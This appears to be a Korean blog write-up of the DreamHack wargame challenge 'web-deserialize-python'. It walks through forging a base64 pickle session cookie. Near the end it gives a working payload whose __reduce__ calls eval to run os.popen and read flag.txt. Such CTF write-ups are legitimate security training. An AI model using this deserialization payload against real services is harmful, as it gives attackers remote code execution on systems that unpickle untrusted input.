Study/Web Hacking

[DreamHack] web-deserialize-python

얀 짱 2026. 9. 18. 20:31

https://dreamhack.io/wargame/challenges/40

 

로그인 | Dreamhack

 

dreamhack.io

 

 

내 이름과 id와 패스워드를 임의로 넣어봄. 그랬더니 이렇게 세션 값이 나왔음. 이 값을 복사해서 체크 세션에 넣어볼라구.

gASVMgAAAAAAAAB9lCiMBG5hbWWUjANpYW6UjAZ1c2VyaWSUjANpYW6UjAhwYXNzd29yZJSMA2lhbpR1Lg==

 

 

음 일단 잘 모르겠어서 문제 설명을 확인하고 ' Python(pickle)의 Deserialize 취약점'을 구글링함.

 

찾아봤더니 다음과 같은 RCE 취약점이 있다는 것을 발견함.

https://wikidocs.net/227605

 

pickle: 파이썬 객체 직렬화 라이브러리 (보안 취약점 및 사용 주의)

파이썬의 `pickle`[^pickle] 라이브러리는 파이썬 객체(리스트, 딕셔너리, 클래스 인스턴스 등)를 바이트 스트림(0과 1의 이진 데이터)으로 변환(직렬화, Serial…

wikidocs.net

 

 

??? 음 그래 너 잘 만났다. pickle.loads() 사용함.

 

그니까 나는 잘못된 세션 값을 겟해서 그걸 업로드 해야하는듯?

 

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Python.md

 

PayloadsAllTheThings/Insecure Deserialization/Python.md at master · swisskyrepo/PayloadsAllTheThings

A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

github.com

 

음 준엽이오빠 감사하고.

 

 

이 코드를 페이로드로 돌려서 실행하면 알맞은 세션 값이 뿅 나왔으면 좋겠는게 나으 바램.

 

https://velog.io/@hunjison/python-deserialize-%EC%B7%A8%EC%95%BD%EC%A0%90

 

python deserialize 취약점

원리에 대한 내용보다는 실제 필요한 내용만 간단하게 정리.python pickle 모듈은 data serialize에 쓰는 모듈이다.serialize란 class나 function 등을 문자열의 형태로 바꿀 수 있는 것이다.pickle의 간단한 사

velog.io

 

이 부분을 참고해서 페이로드를 재구성함.

 

원래는 위에 처럼 클래스를 구현해서 dumps 안에 클래스를 바로 집어넣는 식으로 했는데 계속 안되는거임!!!

그러다 app.py를 다시 봤는데 info 안에 딕셔너리 형태로 집어넣더라고??

 

그래서 그렇게 수정했음.

import pickle
import base64

class RCE:
    def __reduce__(self):
        cmd = "os.popen('cat flag.txt').read()"
        return (__builtins__.eval, (cmd,))

info = {"name": RCE()}
pickled = pickle.dumps(info)
print(base64.b64encode(pickled).decode('utf-8'))

 

플래그를 얻음.